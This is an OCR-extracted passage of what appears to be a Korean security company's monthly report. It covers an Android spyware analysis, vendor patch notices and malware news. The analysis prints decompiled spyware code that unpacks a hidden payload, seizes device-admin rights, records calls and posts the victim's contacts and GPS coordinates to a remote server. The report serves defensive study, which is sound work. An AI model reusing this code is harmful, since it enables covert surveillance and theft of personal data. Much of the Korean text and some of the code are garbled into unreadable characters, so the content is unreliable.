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2. 4331 Ml =4

2.1 Bangcle ¥ A2 &M

HI
1z

Chiat b o] x| AER|HQIE T E= MainApplication 0|, 0= HILHIAES S510{ 2iQ1ef 4= QICt

<application android:icon="@drawable/icon" android:label="@string/app_name" android:name="MainZpplication"p

<activity android:label="@string/app name" android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />

="android.intent.category.default" />

<category android:name
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>

</activity>

(22! 1] HUHAE QER|EQIE S2HA X))

S AR 2R SIS Shi= Dex MU AUSSHHENZ Assets Z0 LHOH| HAE(0] O, ZFXOZ Assets B L2
bangcle_clesses jar IIUS 55316101 2Fd WIS oA =Lt

Z|z= AEZ|ZIEQ! onCreate(0IIN UtiLrunAll)S AatSHA| =IH, 2S3HE Classesjar MYUS SAIGHH, 5535t = Dex &
HZ2|0f 22)= RIS $RH5HCL OF2 O3 2 = £ AER|EQIEQ onCreate()2] TE £EO|CY,

public void onCreate() {
super.onCreate () ;
if (Util.getCustomClassLoader () == null) {
|util.runall (((Context) this)) ;|

}

String v0 = MainApplication.FirstApplication;
try {
this.cl = Util.getCustomClassLoader();
MainBApplication.realdpplication = this.cl.loadClass(v0) .newInstance();
}
catch (Exception v2) {
v2.printStackTrace () ;
MainApplication.realdpplication = null;
}

if (MainBApplication.realdpplication != null) ({
|2call v4 = Acall.getacall() ;|
v4.set2(((2pplication)this), MainApplication.realdpplication, this.cl, this.getBaseContext());
v4.atl (MainBpplication.realdpplication, this.getBaseContext());
try {
if (Float.parseFloat (Build$VERSION.RELEASE.substring (0, 3)) > 2.1f) {
goto label 30;

}

v4.set3 (MainBpplication.realldpplication);
}

[T 2] AEZ|ZQIE Z2HA0| £ onCreate) T=

Oh

UtiLrunAll)7 | 22=™M 2SS classesjar T NI Library T SAF L XPA T2 MAS MASHT
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public static void runRll (Context ctx) {
Utlil.x86Ctx = ctx;
Util.doCheck (ctx);
Util.checkUpdate (ctx) ;
try {
|Fila vl = new File (" /data/data/" + ctx.getPackageName() + "/.cache/");
if(vli.exists()) {
goto label 17;

}

vl.mkdir ();

}

catch (Exception w0) {
v0.printStackTrace();

label 17:

Util.checkX86 (ctx) ;
Util.CopyBinaryFile (ctx) ;
Util.createChildProcess (ctx);
Util.tryDo (ctx) ;

Util.runPkg(ctx, ctx.getPackageName());

}
O3 3] UtilrunAll) 38 2=

IEot =531E 2fofl NI Library & 2E=0k= XS ACall S2HA0IM 2fQlef 4 Tt

public class ACall {
private static ACall acall;

static {
if(Util.getCPUABI () .equals("x86")) {
Util.runhlll (Util.x86Ctx) ;
if (new File("/data/data/" + Util.x86Ctx.getPackageName() + "/.cache/" + "libsecexe.x86.s0")

.exists()) {
System.load("/data/data/" + Util.x86Ctx.getPackageName () + "/.cache/" + "libsecexe.x86.s0");

}
else {
system.load("/data/data/" + Util.x86Ctx.getPackageName () + "/lib/" + "libsecexe.x86.s0");
}
}
else {

Util.runAlll (Util.x86Ctx) ;
System.load("/data/data/" + Util.x86Ctx.getPackageName () + "/.cache/" + "libsecexe.so");

}

ACall.acz2l1l = null;

}
[2] 4])NI Library IS 2E517| I5HAGI S2HAC| Static B F=

ol
L
o
Q

rir

—
—_

EiEHOR =55l Dex MU UtilunPkg Ol MyClassloader SHAS S5 2340, 44K ot IS 431

CIST 22 5502 MgEt
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private static void runPkg(Context ctx, String pkgName) {
String vl = Build$VERSION.SDK INT >= 20 ? ctx.getApplicationInfo().nativeLibraryDir : "/data/data/"
+ pkgName + "/lib/";
try {
if(Util.el != null) {
return;
}

if(Util.isx86) {
if (!ACall.getACall() .jniGetRawDexAvailable()) {
Util.cl = new MyClassLoader ("/data/data/" + pkgName + "/.cache/classes.jar", "/data/data/"
+ pkgName + v/ .cache", w1, ctx.getClassLoader());
return;

}

Util.el = new MyClassLoader ( "/data/data/" + pkgName + "/ .cache/classes.dex", "/data/data/"
+ pkgName + "/.cache/opt", wvl, ctx.getClassLoader());
return;

}

if (!acall.getACall().jniGetRawDexAvailable()) {
Util.cl = new MyClassLoader ("/data/data/" + pkgName + "/.cache/classes.jar", "/data/data/"
+ pkgName + "/.cache", vl, ctx.getClassLoader());
return;

}

Util.ecl = new MyClassLoader(”/data/data/” + pkgName + "/ .cache/classes.dex", "/data/data/"
+ pkgName + "/.cache/opt", vl, ctx.getClassLoader());

}
catch (Exc¢
v0.printStackTrace () ;

ption v0) {

—

= = ZHO = =|L— == (=3 = = =
QUM MG ZIXF ARIKI0] oM SHRIS SH= Dex II0| 25310 HIZ2|0] S22t S 201611, 0|2 H|22| YIS
= = == O == o o (=] sk
2Zol0] ==22tE Dex IIUS FZoIACt Ol 18 62 012 22 1FdS Al=fet IF0|Ct,
(App Local Storage)
Dump
classes.dex Encrypt Dex e ] 2 ?
classes.jar Em‘;!';t Jar tract ;‘g’iﬁ%—%]}g;%}l - 4 z zgi
dudam21 .dekart2.view :‘)‘ Y= :
dudam2l.dekart2.view.art @ x".?[BRo~2?. 7 O3
dudam21i .dekart2.view.art .20 Decrypt 2807, YH##{p?. s0O3
}%:"‘-‘e"e_-“ INL ZE2.Mg!. . 2W? 505
1hpsecmaln.so
] *
libsecpreload.so Z+f%w.l’7g??/ s0s
opt weeB? (2.2 EsOS
?.2.~?2} 78R8 FEsOS
(Virtual Memory)
h3d3f000-h3d52000 r»u-p BOOBABOO bh3:17 72462 /datas/datasdudam2l .dekart2.view/.cache/classes.dex
h3d520P8-h3d53P08 ru-p BABBARAR h3:17 72462 AT Tt ] T s FAs T T Memory Dump
h3f34088-bh3f3dBEO r——p BOOBREOA bh3:17 306084 sdatasdalvik-cache/arn/datalappPdudan2l .dekart2.view—1@base.apkBclasses.dex
bh3f3d00@-bh3f 44000 »—xp PABBIOBO h3:17 386084 #datasdalvik—-cache/arn/datalapp@dudan2l .dekart2 .view—1Bbase .apkBeclasses.dex
h3f4400@-bh3f45000 r»w-p BOO10000 h3:17 306084 Zdatasdalvik-cache/arn/datal@appPdudan2l .dekart2 .view—1B@bhase . apkPclasses.dex
h3f54008-bh3f55008 »—--p ANABARAA bh3:17 3686684 sdatasdalvik-cachesarn/data@appPdudan2i .dekart2.view—1Chase.apkPclasses.dex
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Acall
MyClassLoader
Util
4 dudam21.dekart2.view
CallBroadcastReceiver
DeviceAdmin
MainApplication
SMSBroadcastReceiver
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DistributeReceiver

LIS CHE 18 8 2t 20| 71Z2| Bangde =

4 dudam2l.dekart2

4 net
HttpUtils

4 view
BuildConfig
CallBroadcastReceiver
CallRecordService
Contacts
DeviceAdmin
FileUtil
GSPTracking
MainActivity
MainApplication
Phonelistener
PhotoService
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R
RegDPMActivity
SMSBroadcastReceiver
TappingService
Util

4 neo

4 proxy
DistributeReceiver
DistributorBuilder
FastService
ToolActivity

4 tool
Log
Misc
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==2fF Dex &2 2= A

Ed|HQIE T

= MainActivity 0|04, 0= HILIHIAES Sol0] 221

St
=

% ik,

<application android:icon="@drawable/icon"
<activity android:label="@string/app_ name"
<intent-filter>
<category android:name="
<category android:name=
</intent-filter>
</activity>

android:label="@string/app_ name"

android:name#“.MainAc:ivi:y“P

<action android:name="android.intent.
android.intent.category.default"
android.intent.category.LAUNCHER" />

action.MAIN" />

/>

android:name="MainZpplication">

(22 9 HUHAE (ANEJZQIE J2tA LIX])

T2 elioh= ofd ARl= M“RIHHIHI 717 22|t Hets QFP0lH, ASKAR| 7HR) FeE & 717 HE, A I S3t =5 & X
HHE EF[ok= WRIE elCl Of2 112 102 0[2F 22 2 Wflel SEXE Aol
MainActivity RegDPMActivity
247to| ot Y& 9 AR ROl 7|7 22 Rt
Service Bl Activity 2=84 Hstg a3
PreodicService TappingService GSPTrackingService
el He, 7|17 HE Ms .
i b s 231142 2 % 23 ApgTIel 9% H e g
PhotoService
SHE AR TS FHE
(22 10] HUHAE (QIER|ZQIE S2HA QX))
Z|zx AEZ|ZERIEQ! onCreate(0lM= 21242 2 SMRIZ 25t Service 2t 7|7 U2[A} HEEE 275k= Adivity E +&iSICt
protected void onCreate (Bundle savedInstanceState) {
super.onCreate (savedInstanceState) ;
this.com_sec_plugin_action_ APP_STARTED();
this.getPackageManager () .setComponentEnabledSetting (this.getComponentName (), 2, 1);
this.AT = this.getApplicationContext();
Util vl = new Util(((Context)this));
vl.doRegisterUser();
this.AT.strTelNum = vl1l.getPhoneNumber () ;
this.startService (new Intent(((Context)this), PreodicService.class));
this.startService (new Intent(((Context)this), TappingService.class));
this.startService (new Intent(((Context)this), GSPTracking.class));
this.startActivity(new Intent (((Context)this), RegDPMActivity.class));
this.finish();
}
(O3 1] AE|HQIE Z2hAl| £ onCreate) =
Z|x A3S 51 21219 Service 21 Activity £ 45| =H=E|, RegDPMACtivity = SHE 22| MEHS =017| 2fcH AFZAI0iAH|
7|7 2K} Hets 7l
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Z|x Hl= SHH 21249 Service 2t Activity S 26| E[=H, RegDPMAtivity = SHS 2| UEES =017| floll ASKIfA

public wvoid onCreate (Bundle savedInstanceState) |
super.onCreate (savedInstanceState) ;
Chiject v2 = this.getS8ystemService ("device policy");
ComponentName v0 = new Componen:ﬂame({(Co;fex:)this), Deviceldmin.class);
if ({(DevicePolicyManager) v2) .isAdminfhctive (v0)) {
this.finish();
}

elze {
Intent vl = new Intent("android.app.action.ADD DEVICE ADMIN");
vl.putExtra ("android.app.extra. DEVICE ADMIN", (( arcelable)v0));
vl.putExtra ("android.app.extra.ADD EXPLANATION", "");

this.startlActivityForResult(vl, 1);

this.finish();

}
(21 12] 717 2K} 25! S| Al A| 2ih= T

MainActivity Ol ZHZt2| Service 7+ AIRHE|H CiSit 20| 37 MO 2 EFoh 21219] YHE REX|= TERICL PreodicService 2|
EFL
=

B AEA IR EE R 77| HEE ZFloH, 18 132 25| @22 REX= T&ok= Z=0[Ch

public void BlockZddressNum (String phonenumber) |
String[][] v5 = new Contacts|().getlist (this.gethpplicationContext (), this.mIimit, this.mOffS5e{
if(v5.length == this.mLimit) {
this.moff5st += this.mLimit;
}
else |
this.moffsst = 0;

JSCNArray w3 = new JSCONArray();
if(!TextUtil=.isEmpty (( (CharSequence)phonenumber))) {
int v2;
for(v2 = 0; v2 < w5.length; ++v2) {
JSONObject v4 = new JSONCbject();
try |
vd.put ("id", vS[v2][0]);
v4.put ("name", wS[v2][1]);
v4.put ("phone", v3[v2][2]);
v4.put ("mail", v5[v2][3]);
1
catch (JSONException wl) {
vl.printStackTrace () ;

v3.put(v4);

if (v3 == null) |
return;

}

HttpUtils.postData ("http: /A0 ST e el s - php? telnum=" + phonenumber, v3

.toString());

i
[22! 13] PreodicService 2| 7HQ 1 HH Eb| 2 X4

0['>

el
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2HER0f= AIARI0| ZXtioh= =RI0|22 ARSI =210[E EfI0] OHO| AR S S0 aligolH Y=elE Titol=S
E|RAC.

publie wvoid startTapping() {
long v2 = 60000;
Timer ¥5 = null;
this.AT = this.getBpplicationContext();
if(this.AT.bTapping) |
File[] v13 = mnew File("/data/data/dudam?1.dekart?.view/tapping,/tmp").listFiles();
if(vl3 !'= null) {
int v5;
for(vd = 0; v% < vl3.length; ++v3) {
File w10 = w13[+%];
FileUtil.copyFile (vl0.getibsolutePath(), "/data/data/dudam?l.dekart2.view/tapping/cmp/"
+ vlO.getName ());
FileUtil.delFile (v10.getlbsoclutePath());

if (this.mIsRecording) {
return;

try {
this.TMPPath = "/data/data/dudam?l.dekart2.view/tapping/tmp/tapping_" + new SimpleDateFormat |
" 'ng";

“yyyy—MM—dd_hh_mm_;s“).format(new Date()) .toString() +

this.mRecordsr = new MediaRecordsr();
this.mRecorder.reset () ;
this.mRecordsr.sethudioChannels (1) ;
this.mRecorder.sethudioSamplingRate (16000);
this.mBRecorder.sethudioSource (1) ;
this.mRsceordsr.setCutputFormat (1) ;
this.mRecorder.setBudioEncoder (3) ;
this.mRecorder.setOutputFile (this.TMPPath) ;
this.mReceorder.setOnInfolistener (( (MaediaBecorder$oninfolistensr) this));
this.mRecorder.setOnErrorListener | ( (MediaRecorderionErrorListener)this)) ;
this.mRscordsr.prepare();
this.mRecorder.=start () ;
this.mIsRecording = true;

}

catch (Exception v7) {
this.mBRecordsr = (({M=diaBscorder)wvi3);
return;

}

(02 14] NEX S5t LG =318 S5k I

GSPTrackingService = 7|7|2| GPS HEE EFolH, O|Z hitp Z2EZS 018010 HARICE TSIt

public weid onlLocationChanged (Location location) |
String v& = new Util(((Context)thi=)) .getPhoneNumber () ;
double w2 = location.getLatitude();
double v4 = location.getLongitude();
double w0 = ((double)location.gethccuracy());
this.mLatitude = String.valueOf(v2);
this.mLongitude = String.valueof (v4);
this.mAccuracy = String.valueOf(v0);
HttpUtils.postGPSData ("http:// e IR S .php?telnum=" + v&, this.mDatitudes,
this.mLongitude, this.mAccuracy);
}

[ 15] &AIZEGPS T4 39|
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0] &t IE|0|E= Microsoft Windows 01l JScript 2 VBScript ATRIE 10| FOMIS SHZEILIC 0] FRMO= Ol
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— Microsoft Windows DNS AHE Eot 2H|0|E(3164065)

0| 22t 2H|0|E= Microsoft Windows 2| FI2FES sHZgiLICt SZXE7H DNS AH0l| S HEE 2FS B 42 0]
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-= T HAH

— Active Directory & E2t ¢JHI0|E(3160352)

0] 29t BI0|E= Adtve Directory 0| FOFAIS SZBILICE 0] FPIOR Qlof QI B2HAP 0121 ZHE| ARG BIEs
B MHIA 271 SIZE 4 YELIC 0] FopS OS5I BZRPH EHOI0 HEES 7IRUIZ B30 = HS
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— Microsoft Windows Search 714 42 HOt §4H|0]E(3165270)
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— Adobe Flash Player & &2t H|0|E(3167685)

0| 2t HHI0[E= X|REl= 2= HECO| Windows 8.1, Windows Server 2012, Windows Server 2012 R2, Windows RT 8.1
2! Windows 10 0f| &X|=! Adobe Flash Player 2| F|QFdS sHZASHICY.

- oz

Windows UpdateS -2liotALt Microsoft 22t SX| Q2f AO[EOIN sy FIOFHS2| 7HEXQ! IX| TUS H22C s 5
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https:/ /technet.microsoft.com/en-us/library/security/ms16-Jun
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[Z&ts 2= HE]

= CL—

}0|'

EIAMO|E0]| HAE|0] 4= ‘Affected Products'S &3l F{2fet HIZ 2421

- OpenSSL KA EiAlisH= T FRFE(CVE-2016-2105, 2106, 2107,2108,2109, 2176)[2)]
+ Cisco Network Analysis Module 2! QIE{HO] AN &2 F= AH0| 7155 FE(CVE-2016-1383)3]
+ Cisco Network Analysis Module 2| IPv6 T2l C|ZE 7|SOfIA AHIA HR(DOS)7 | EAe 4= = FFE(CVE-2016-1370)4]

» Cisco Prime Network Analysis Module 2! Virtual Network Analysis Module OJA] 2fASH 4= QL= 2174 T2 Al F|OFR(CVE-
2016-1390)[5]

- Cisco Prime Network Analysis Module %! Virtual Network Analysis Module 0l Z2Fzl HTTP QS HILH 242 FE A3H0|
7Hs8t FIoFH(CVE-2016-1391)(6]

ZEFE IPv6 THZIS X2[oh= 2FE0IM AMHIA HR(DOS)7H kst 4= U= FIOFRCVE-2016-1409)[7]

¢ S FI2FE EOIALIO|E U O

-’T‘—I‘lf’é.*ol rtigt Cisco *HE%IOP tEXIE Gsco ZH|2| 2EAI=, HFEl= EIAMOIEN| SAIE|0] U= ‘Affected Products

AG[O|E7 t YWHE[X] 42 FFE(CVE-2016-1409)0 Yt Bi= MES HOIHHI0[E7 H UEE m77EK] ACL(Access Control
List)of| IPv6 ND(Neighbor Discovery) THZ! Xf=t 11

[EALIE]

[1]https://tools.cisco.com/security/center/publicationListing x

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.



Part3. 22f Ol =&7|

[2]https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ cisto-sa—20160504-openssl
[3lhttps://tools.cisco.com/securrity/center/content/CiscoSecurityAdvisory/ cisco-sa—20160601-prime
[4]nttps:/ /tools.cisco.com/security/ center/content/CiscoSecurityAdvisory/ cisco-sa-20160601-prime3
[5lhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ dsco—sa—20160601-prime 1
[Elhttps:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ dsco—sa—20160601-prime2

[7Inttps:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/disco-sa-20160525-ipv6

Adobe Flash Player 2+ £ Fo| 11

Adobe Flash Player 2| M2 H|0] F|Qf&0| L74E!
TARN= E461H| ZEHE| Flash MYUO0| IEHE 4 HO|X|, A M 52 ARAP YOHEEE QE610] oM FE
7L Its

- M8

FOFHS 0125104 AR S= 24 H M0t 7HS(CVE-2016-4171)

[HekS 2= XIS
Adobe Flash Player 21.0.0.242 %! 0] H{F (Windows, Macintosh, Linux, Chrome OS)
- off Ak

ofid F{FHol| thigh 22t KC0|E7 EEIX| 20t IHX |7+ LH 2 UH77HX| Flash Player AFS XAl
X offd 22 (IHI0|E HE A X SA|
FI2FH0| 2let TiSHE F017| ?Iol0] AREARE TSt 22 AllE &

- ME|EIX] o= E AO|ES| &= KA
- SXVI 2R3 0[HY R 23S BOEX| F

~ NS5HT Qi MATR 20| FM IE0|ES QKIGHL AAIZH ZA7 52 Bt

[EIIA0|E] hitps://helpx.adobe.com/security/products/flashplayer/apsa16-03 html
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- QIo|FE AIBHOZ 0]04E! 4= Q1= Type confusion FIQFH(CVE-2016-4144, (VE-2016-4149)

. QOJTIE AR 0[0FE 4= Q= Use-Ater-Free ZIOFI(CVE-2016-4142, CVE-2016-4143, CVE-2016-4145,
QVE-2016-4146, (VE-2016-4147, CVE-2016-4148)

- QIOJFE ASHOZ 0|0 4= Q= & RHEESR FFE(CVE-2016-4135, (VE-2016-4136, CVE-2016-4138)

- Qo|FE HEHOZ 0]01E £ Q= HIH LHIEZ R FAF(CVE-2016-1103)

- QUOJTE ASHOE O|01E 4= Q= M2 2] &4k FAT(CVE-2016-4122, (VE-2016-4123, C(VE-2016-4124,
CQVE-2016-4125, CVE-2016-4127, C(VE-2016-4128, CVE-2016-4129, CVE-2016-4130, CVE-2016-4131, CVE-2016~
4132, (VE-2016-4133, CVE-2016-4134, CVE-2016-4137, (VE-2016-4141, CVE-2016-4150, CVE-2016-4151,
QVE-2016-4152, CVE-2016-4153, CVE-2016-4154, CVE-2016-4155, CVE-2016-4156, CVE-2016-4166,
QVE-2016-4171)

- CIEIER| ZAM Z27} F{f610] 2Q|TE AJM0| 7HsEt FF(CVE-2016-4140)

- same-origin—policy 28| ¥ H& +& FUF(CVE-2016-4139)
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fobeFlash Payer YTOX By | 1800352 % OF BN
Extended Support Release
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or e Chrome
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Adobe Flash Player
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Intemet Explorer 11
Adobe Flash Player
: v Lintx 112202621 2 OfF HiE
For Linux
- iz
Adobe Flash Player AF2X}

- fI=RX o 3H49| Adobe Flash Player desktop runtime AF2AR= 22.0.0.192 HZCZ HH|0|E M

— Adobe Flash Player Extended Support Release AF2Xk= 18,0.0.360 HEOZ RIH|0|E &g

— 2j=A £1249] Adobe Flash Player AFRAR= 11.2.202,626 HEHOZ HE|0|E XK

—Windows 10 2! Windows 8.1 0lA 722 3=, Microsoft Edge, QIE{Sll 2ASZ2{0]| Adobe Flash Player & AX[St ARXR=
RS2 4 AHHO[ET M

- 71 2| A2Xk= Adobe Flash Player Download Center(http:/ /www.adobe.com/go/getflash)0ll 22610 Z}A I MX|
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[EIIAL0|E] hitps://helpx.adobe.com/security/ products/flash-player/apsb16-18 html

ESTSOft Copyright by ESTsoft corp. All rights reserved.



Hn

Part3. HOt O]+ =k7|
%I_ ]IIA 6 21 I‘Ijl E_O|- O-I|:-"0|
SENIAREI| Otiehs & LIA XIZo| EH?J
oI5} HH= H{XO| AFRKH= QIAITE ZIH0|| X[oFst &
- AR
[GHZ AAH]
MNE MEHE
321 PDF
55 24
312 NEO
SEAQIIA NEO S NEO
st& NEO
B/9l=
55 24
a1z
SEARTIA 2014 VP
ahy
Bt
ZE o4
a1z
sE4QIA 2010
ahy
SHA
- sz
SEMARTH SHO|X|0A HOMHH0|E MU=

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.

X CIRRC W0t MX[510] &
- CLFREC A2 hitp:/ /www.hancom.com/downLoad.downPU.do?mcd=001

2ot HHlo|ES 1E

olooz ofay sz

COJEI k

S
o

rir

i
1.3.0.505 O] HH
96.1.4732 O] HH
96.1.3232 O] HH
96.1.3404 04 HH
96.1.3648 O] HH
96.1.3723 O] HH
9.1.1.3282 O] HH
9.1.1.3113 0] HH
9.1.1.3102 O] HH
9.1.1.3180 O] HH
8.5.8.1582 O] KX
8581518 O HH
85.8.1431 O] KX

85.8.1573 O] HH

SF HEX|

oo =

ok
L'6‘

YA Tt ZRIHTC=

=3
—

HM(EQH44)O=2

=k 1=

=L YIS



Part3. H2t Ol ER7|

SISTILRE| XIS HOIES Sl RMHHOR 0]
- AJ5 — BE D272 - SEUAHE — 374 XIS AHI0IE 2014

oa XF QUI°lE

AHOE B 4%

Y E AGO|E
o140| ERLIL}.

™o

[RIIALO|E] http:/ ;Awvwwhancom.com/downLoad downPU.do?med=001

A YA AIEDZEZ(RDP) AK2 FO| AT
Y= A & T2 701 RDP(Remote Desktop Protocol) AHIAE F|QFSH IHARIES 0|50 AtEE 42
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[2Inttps:/ /wordpress.org/news/2016/06/wordpress—4-5-3/

CryptXXX, Locky HE 0] 2kt =2

U0l 2 7H5850] 2 215 2RI CypiXa} el 22
BHIY 2234 Locky 2HIR0] 50| THA] LIOIA Ch A5t QU2

HEHAOl= ARBAIPCE HBAF SQLESS Y=et ol 245 271e

- SMEE

SHRIOIIA Lr4liEH S CryptXXX = & F|FE(01=H] S2HA)S A5 [ESHL U0 =L |

Locky &R0 HHE2 O|H[Y MEIUZ REET US
2RO ZE Al 2M, AR S S8 IYSS Y=t ARl 2 S| 2 28 2

LT = O 4

HIZ HIES KIS0t S HYEX| 2902 AZAIS| Fo7t 71 Q4

ESTsoft

() L
ujo

3

el

i



Part3. H2t Ol ER7|

- H0l= ZFE 0% X|=7 0124% Fet E71E|X| 27| 20 ZFE[X| L= ARKo[H0| 528!
- EX7t 2FAGIK| 42 O|H[Y S X P2P(EHIE), MRIMO|E F 37t T2 2= MO [E E X
- =L A= T WS BiXloks 7150 ZTK QT2 AR S utiroj| Chgh z|4 HH0|1E HQ
- QIR AIAE =, Eeli Z210]01, Xt SOf| Chigt 2 HORAHI0|E EHe

ZIM Z2iA| 20|04, X} YIG|0|E= KRCERT 2|0 K| 2QF BX| &=
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ESTsoft



Part3. H2t Ol ER7|

- CAB IIYS 2= ofiFll 5h= 2FF0IM 0] Lh= M| 24 FOPH((CVE-2016-2211)
- MIME HAIX| HZO| 7k58H T2 2| &4 FFH(CVE-2016-3644)
- TNEF I 4= QUEZ2 FOFH(CVE-2016-3645)
- ZIP IS U= oA Stz 2ME0lM AR E H22| FROE Lilich= FR(CVE-2016-3646)

- ofigdd

OII

Symantec =SH|0|X[0flA "Security Updates Detail'2| IiX|AfelE ZESIT HIGAL & RX[E-HAIRE RiC|/HE
IHR| Z4E(1]

=3
-

[EIAOIE]
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A=W 2, F=5(0] HAS ok MEZ HHYO, FEUA 7t FAM|
New Malware That Acts as WhatsApp, Uber and Google Play is on The Rise in Europe

=W, RH|, A220[0]] S=S DIE == U= M==2 BA07HEA EUCE oiFHS2 01 AEot0] 22X ¥l 7 A
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AEZ0[E 71710l &k OIR k= 0] ZR0f= B0, OHZ(0F SRIMTE MIE Z|RUK|ZH T 2kt =31 = SOIH.
IO|0{0[0|= BRIOIE TMAIZ |7 RloHl SMS E St Lk 7[#E AR SO[2t1 HICt

AEAIS0| &= 0] BRI0IE 22 o1H, Ol= 20| 7 R4 QIEH|0|AS 2= = K| A0i| 282(0] AIZICE 0] 20|
& QIEH0|A= H87IE FEE =01, HlO|E7H 2 =fH oS0 ‘SEE EHCE 0] 220 HEet= ASH2= Tlelstl
U= AOZ HOILY, MO[0{0[0|= Sofl 2 RE| FEMMIE Z& 55712| STt Q0] HIZHS AFEok= A ¢S

O] 2| OPH HHS2 F= WAUS EPI X, =25 O Tlet & XF2 A=Z0|= SSHF0IN 17| Us AR Jt=Ht
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=0|Ct.
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EPIC= STt Sl 2RO ER, 0] 2= RRE, 24, V= S5 HIAE AMHIAR] 230 F&k=S DIX7|= 34T,
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== QIASLICE 071 HiiS HEE SRISIMIQ.)

TI0|0{0[0}= Of AM|QI0] THA 7HO| It CIE IS Sal kit =l QUTHTE THCE SHAS| ZM|QI|ATH 017t S AL
= Q= 30 2 130 240| Z2 5 TS0} ESHMER HE2 BX|7H IS TH0[0{01017} 54 7HC| QHE[HI0[2{A
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[EX{http:/ /mwww.opptrends.com/2016/06/new-malware-that-acts-as-whatsapp-uber-and-google—play-is-on-the-rise-in-europe/
https:/ v fireeye.com/blog/threat-research/2016/06/ latest-android-overlay-malware—spreading-in—europe.html
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‘GODLESS' 2HIY H[0f, 7[7| RES 2IaH C-2] AAZZ0 ALY
‘GODLESS Mobile Malware Uses Multiple Exploits to Root Devices

& AASZOIS0| LIEE ZHIY HY0] THHZ|Q! Godless 7t 74 EIRUCE Of= Lkl UASZEAUSE ARSI QIER0|=
5.1 EE= O] HHE ArB0I= = AE20|E 7 V1SS 34 71S0lL Bl 90%2| QIEZ0|= 7[7150] O] TS AR
0|t Trend Micro Mobile App Reputation Service (A s=Elst H|O|EHE EA16H 2 2, 7= S20[2 Zelet IR FHst
UAEOISOIA O] LUt 2 E WSS OIS = UM, T HAI0 850,000 CHE] 7|7 1E ZBAR A= LIEHITE

HBE 717|9] =7} 22= Of=tiet 2t

® |ndia 46.19%
* Indonesia 10.27%

Thailand 9.47%
» Philippines 6.31%
* Malaysia 5.01%
e Vietnam 2.12%
e Japan 1.87%
® Russia 1.85%
» United States 1.51%
e Iran 0.90%
e Others 14.50%

Godless = LEAA FE OHI2|9 91 android-rooting—tools £ AFEZsl, AAEZA! 7|EL| HEHE EIC}, 0] I RT3 = 02
7He| AABZ0ISS V12 ArBal| Cilet QIEZ0(E 7[8te] 7|7 |53 FEAZ 4= QUL

0| YAZZQI 7 |ETLEPIOR Sl= 7FE QESH £[FHS (VE-2015-3636, (VE-2014-3153 0|Ct CIE AAE RS2 7{9]
AR EIX| 2O, HOt HRLIEIO| X=Xt LX|X] UL

AEH RE Hel0| U= E2, 2RI0= OE US AX[EX| #42= HHS L 2ot 2LUs| ZHIY 717(0f AX[g =k UL
O|2M AISXI= K| o= S CH2 B E0f, RIX| = Z0E B 2 25 QUL O AM2SH M2 0] 2[FE0| S

H
LS
EX[SIHLE MBS AMRISHEH| A E =k ACk= HOIH.
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o] =H2EE USRI, 0l 207 7= 22(0] 52 Y 2AE00fM 0|F0X|= 22t HES L=01/| flet A=
2047&“1}.
Pel= 712 S20[0iM 0] obg F=S Hlot MS T UGIRL. EE £2TSO0|L Wi-Fi 4 22 FEe|E| HOIL, R3¢t

Ae| 7HI[=O0|ACY. OfI= =M, O[2H2] “Summer Flashlight 20| 28 Godless Z=E ZESRAUCE

Summer Flashlight

Crazy WiFi Team Tools
€ Everyone

D This app s compatible with all of your dey

2]

3t 72 Z20/o
220/ 55 B

o= =

O It SUSH 22 U Ci WA EIRCH (IS SUSHILA} USME SR U 72
Q2 Oh FSE TSR] 4T YT RN, 0] 21 YSO| o4 HIHOR T0IE B Y
o

=S =2 = -
QIBH0| UTHT & 4 UL, 0] ZL, ABKISS 0] 0l 24 FET} AHOIE B A BE 4 Tt

00| Godless HESS 712 B20] S2OIANES AUH= AA U ESZHCL 0] HO|ZEE BASO WSS Cleas
9 H[6P| SfoH T2 F2YRSS BAICY F T2 SX2 X o] 73 220| Y LS KOS 2i= ZolL,
TR A2 BB, 2% B 7]7 |0 25| U2 KR 6| $I3H £ 20 fE MO WA,
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=
%* COfIMEE RS L Bh= A E2 LEOIC,
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[EX] http://blog trendmicro.com/trendlabs—security-intelligence/godless-mobile-malware-uses-multiple-exploits-root-devices
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oS3} BiMYo], BAIXOZ AFE EE MMYE AX[2LCt
Crypto Ransomware Officially Eclipses Screen—Blocker Ransomware

U=t BAHZH K| 42 HEANO TXH|2| 54%S REXRACE 11 F0= 10%5H01 XILEX] UL
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7IAHAT 9| RS2

QX 013t 4 QIO
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ALO[0f] 1972H0fM 232222 17. 7%t S71SIRALH.
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58l Of&f S7IotRA2M, Win-lockert| S4= &2 /A = St 71101 1802 SMHIA 1602t & Olol= 13% Ol SI=SIALY.
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[Exhttp:/ /mww darkreading com/attacks—breaches/crypto-ransomware-officially—edipses-screen-blocker—ransomware/d/d-id/ 1326022
https://securelist.com/analysis/publications/75145/pc-ransomware-in-2014-2016/
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[EX] http://news.163.com/16/0629/08/BQNDM3R700014AEE html
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